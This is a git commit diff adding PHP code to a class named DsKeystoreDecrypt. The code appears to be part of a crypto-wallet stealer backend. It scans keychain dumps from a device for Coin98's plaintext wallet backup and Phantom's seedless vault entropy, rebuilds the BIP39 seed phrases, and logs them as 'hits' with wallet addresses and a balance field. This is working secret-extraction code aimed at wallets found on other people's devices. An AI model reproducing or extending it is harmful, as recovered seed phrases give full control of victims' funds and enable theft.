fix: keystore
This commit is contained in:
@@ -45,6 +45,35 @@ final class DsKeystoreDecrypt
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
$coin98Nodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Coin98') {
|
||||
$coin98Nodes[] = $row->raw_json;
|
||||
}
|
||||
}
|
||||
foreach ($this->recoverCoin98($coin98Nodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
$phantomNodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Phantom') {
|
||||
$phantomNodes[] = $row->raw_json;
|
||||
}
|
||||
}
|
||||
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
@@ -58,16 +87,22 @@ final class DsKeystoreDecrypt
|
||||
$utcs = [];
|
||||
$passwords = [];
|
||||
$entropy = [];
|
||||
$coin98 = 0;
|
||||
$phantom = 0;
|
||||
foreach ($device->keystores as $row) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
|
||||
$coin98 += count($this->collectCoin98Backups($row->raw_json));
|
||||
$phantom += count($this->collectPhantomEntropy($row->raw_json));
|
||||
}
|
||||
|
||||
return [
|
||||
'utc' => count($this->uniqueKeystores($utcs)),
|
||||
'passwords' => count($this->uniquePasswords($passwords)),
|
||||
'entropy' => count(array_unique($entropy)),
|
||||
'coin98' => $coin98,
|
||||
'phantom' => $phantom,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -157,6 +192,332 @@ final class DsKeystoreDecrypt
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* Coin98 stores a plaintext JSON backup in the keychain under
|
||||
* service=rn-secure-storage / account=WALLET_SECURE_BACKUP. Each entry
|
||||
* carries the same mnemonic plus a per-chain address + privateKey.
|
||||
*
|
||||
* @param list<mixed> $nodes
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverCoin98(array $nodes): array
|
||||
{
|
||||
$backups = [];
|
||||
foreach ($nodes as $node) {
|
||||
foreach ($this->collectCoin98Backups($node) as $backup) {
|
||||
$backups[] = $backup;
|
||||
}
|
||||
}
|
||||
if ($backups === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$phrase = null;
|
||||
$seenAddr = [];
|
||||
$uniq = [];
|
||||
foreach ($backups as $wallets) {
|
||||
foreach ($wallets as $w) {
|
||||
if (! is_array($w)) {
|
||||
continue;
|
||||
}
|
||||
$m = $w['mnemonic'] ?? null;
|
||||
if (is_string($m) && trim($m) !== '' && $phrase === null) {
|
||||
$candidate = $this->asMnemonic($m);
|
||||
if ($candidate !== null) {
|
||||
$phrase = $candidate;
|
||||
}
|
||||
}
|
||||
$address = trim((string) ($w['address'] ?? ''));
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
$chain = strtolower(trim((string) ($w['chain'] ?? '')));
|
||||
$mapped = $this->coin98ChainToType($chain, $address);
|
||||
if ($mapped === null) {
|
||||
continue;
|
||||
}
|
||||
$key = $mapped.'|'.$address;
|
||||
if (isset($seenAddr[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seenAddr[$key] = true;
|
||||
$uniq[] = [
|
||||
'address' => $address,
|
||||
'chainType' => $mapped,
|
||||
'symbol' => $mapped === 'BITCOIN' ? 'BTC' : ($mapped === 'ETHEREUM' ? 'ETH' : 'TRX'),
|
||||
'balance' => 0,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
if ($phrase === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return [
|
||||
[
|
||||
'source' => 'Coin98',
|
||||
'tag' => 'q',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => $uniq,
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Phantom stores its BIP39 entropy as a plaintext JSON blob in the
|
||||
* keychain under service=app:no-auth / account=.phantom-labs.vault.seedless.*
|
||||
* The entropy dict maps integer indices to byte values (0–255).
|
||||
* 16 bytes → 12-word mnemonic; 32 bytes → 24-word mnemonic.
|
||||
*
|
||||
* @param list<mixed> $nodes
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverPhantom(array $nodes): array
|
||||
{
|
||||
$entropyHex = null;
|
||||
foreach ($nodes as $node) {
|
||||
foreach ($this->collectPhantomEntropy($node) as $hex) {
|
||||
if ($entropyHex === null) {
|
||||
$entropyHex = $hex;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ($entropyHex === null) {
|
||||
return [];
|
||||
}
|
||||
$phrase = $this->phraseFromEntropyHex($entropyHex);
|
||||
if ($phrase === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return [
|
||||
[
|
||||
'source' => 'Phantom',
|
||||
'tag' => 'i',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Walk a keychain node collecting Phantom vault entropy hex strings.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function collectPhantomEntropy(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectPhantomEntropy($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
|
||||
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
|
||||
// an "entropy" dict of byte-index → byte-value pairs.
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
$acctDecoded = '';
|
||||
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$acctDecoded = strtolower($bin);
|
||||
}
|
||||
}
|
||||
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
|
||||
$hex = $this->phantomEntropyFromItem($node);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectPhantomEntropy($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless keychain item.
|
||||
*
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
private function phantomEntropyFromItem(array $item): ?string
|
||||
{
|
||||
$hex = (string) ($item['dataHex'] ?? '');
|
||||
$raw = '';
|
||||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||||
$raw = (string) @hex2bin($hex);
|
||||
}
|
||||
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
|
||||
$raw = $item['data'];
|
||||
}
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
$json = json_decode($raw, true);
|
||||
if (! is_array($json) || ! isset($json['entropy']) || ! is_array($json['entropy'])) {
|
||||
return null;
|
||||
}
|
||||
// entropy is { "0": 250, "1": 104, ... } — collect bytes in index order.
|
||||
$bytes = '';
|
||||
$keys = array_keys($json['entropy']);
|
||||
$max = -1;
|
||||
foreach ($keys as $k) {
|
||||
if (is_numeric($k) && (int) $k > $max) {
|
||||
$max = (int) $k;
|
||||
}
|
||||
}
|
||||
if ($max < 0) {
|
||||
return null;
|
||||
}
|
||||
for ($i = 0; $i <= $max; $i++) {
|
||||
$val = $json['entropy'][$i] ?? $json['entropy'][(string) $i] ?? null;
|
||||
if (! is_numeric($val)) {
|
||||
return null;
|
||||
}
|
||||
$byte = (int) $val & 0xFF;
|
||||
$bytes .= chr($byte);
|
||||
}
|
||||
// Only accept 16-byte (12-word) or 32-byte (24-word) entropy.
|
||||
$len = strlen($bytes);
|
||||
if ($len !== 16 && $len !== 32) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return bin2hex($bytes);
|
||||
}
|
||||
|
||||
/**
|
||||
* Walk a keychain node collecting Coin98 WALLET_SECURE_BACKUP JSON arrays.
|
||||
*
|
||||
* @return list<list<array<string, mixed>>>
|
||||
*/
|
||||
private function collectCoin98Backups(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectCoin98Backups($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
// Direct item with service=rn-secure-storage / account=WALLET_SECURE_BACKUP
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
if ($svc === 'rn-secure-storage' && $acct === 'wallet_secure_backup') {
|
||||
$parsed = $this->coin98BackupFromItem($node);
|
||||
if ($parsed !== null) {
|
||||
$out[] = $parsed;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
* @return list<array<string, mixed>>|null
|
||||
*/
|
||||
private function coin98BackupFromItem(array $item): ?array
|
||||
{
|
||||
$hex = (string) ($item['dataHex'] ?? '');
|
||||
$raw = '';
|
||||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||||
$raw = (string) @hex2bin($hex);
|
||||
}
|
||||
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
|
||||
$raw = $item['data'];
|
||||
}
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
$json = json_decode($raw, true);
|
||||
if (! is_array($json) || $json === []) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return array_values(array_filter($json, fn ($w) => is_array($w)));
|
||||
}
|
||||
|
||||
/**
|
||||
* Map a Coin98 chain name to our persisted chain_type. Returns null for
|
||||
* unsupported chains (only ETH / TRX / BTC are persisted).
|
||||
*/
|
||||
private function coin98ChainToType(string $chain, string $address): ?string
|
||||
{
|
||||
// EVM-compatible chains all share the same 0x address.
|
||||
$evm = [
|
||||
'ether', 'etherpow', 'binancesmart', 'heco', 'okex', 'gate', 'kucoin',
|
||||
'matic', 'arbitrum', 'optimism', 'avalanche', 'avax', 'fantom',
|
||||
'klaytn', 'cronos', 'moonbeam', 'celo', 'aurora', 'astar', 'harmony',
|
||||
'xdai', 'boba', 'metis', 'blast', 'linea', 'base', 'scroll', 'zksyncera',
|
||||
'mantle', 'arbitrum', 'opbnb', 'zeta', 'plume', 'fraxtal', 'mode',
|
||||
'manta', 'taiko', 'kroma', 'morph', 'zircuit', 'zkfair', 'zklink',
|
||||
'zora', 'ancient8', 'confluxevm', 'seievm', 'seievmmainnet', 'kavaevm',
|
||||
'functionxevm', 'auraevm', 'hyperEvm', 'lightlink', 'somnia', 'sonic',
|
||||
'stargaze', 'skate', 'xlayer', 'platon', 'theta', 'thetafuel', 'tomo',
|
||||
'wanchain', 'neon', 'rootstock', 'nautilus', 'beam', 'bitgert',
|
||||
'bitkub', 'bittorrent', 'chiliz', 'coredao', 'cyber', 'elrond',
|
||||
'energi', 'energi_testnet', 'fuse', 'godwoken', 'godwoken_testnet',
|
||||
'iotevm', 'kardia', 'kcc', 'metis_testnet', 'oasis', 'omax',
|
||||
'omax_testnet', 'ontology', 'orchid', 'polis', 'polis_testnet',
|
||||
'poolq, quackcity', 'quarkchain', 'quarkchain_testnet', 'rei',
|
||||
'reosc', 'reosc_testnet', 'shardeum', 'skale', 'skale_testnet',
|
||||
'soteria', 'soteria_testnet', 'telos', 'telosevm', 'telosevm_testnet',
|
||||
'terra', 'terra2', 'tombchain', 'tombchain_testnet', 'ulta',
|
||||
'volta', 'velas', 'velas_testnet', 'x1', 'x1_testnet', 'xdc',
|
||||
'xdc_testnet', 'yuan', 'yuan_testnet', 'zafiro', 'zafiro_testnet',
|
||||
'kava', 'evmos', 'injective',
|
||||
];
|
||||
if (in_array($chain, $evm, true)) {
|
||||
return 'ETHEREUM';
|
||||
}
|
||||
if ($chain === 'tron') {
|
||||
return 'TRON';
|
||||
}
|
||||
if ($chain === 'bitcoin' || $chain === 'bitcointestnet') {
|
||||
return 'BITCOIN';
|
||||
}
|
||||
// Fallback: infer from address shape.
|
||||
$inferred = WalletSource::inferChainType($address);
|
||||
if (in_array($inferred, ['ETHEREUM', 'TRON', 'BITCOIN'], true)) {
|
||||
return $inferred;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user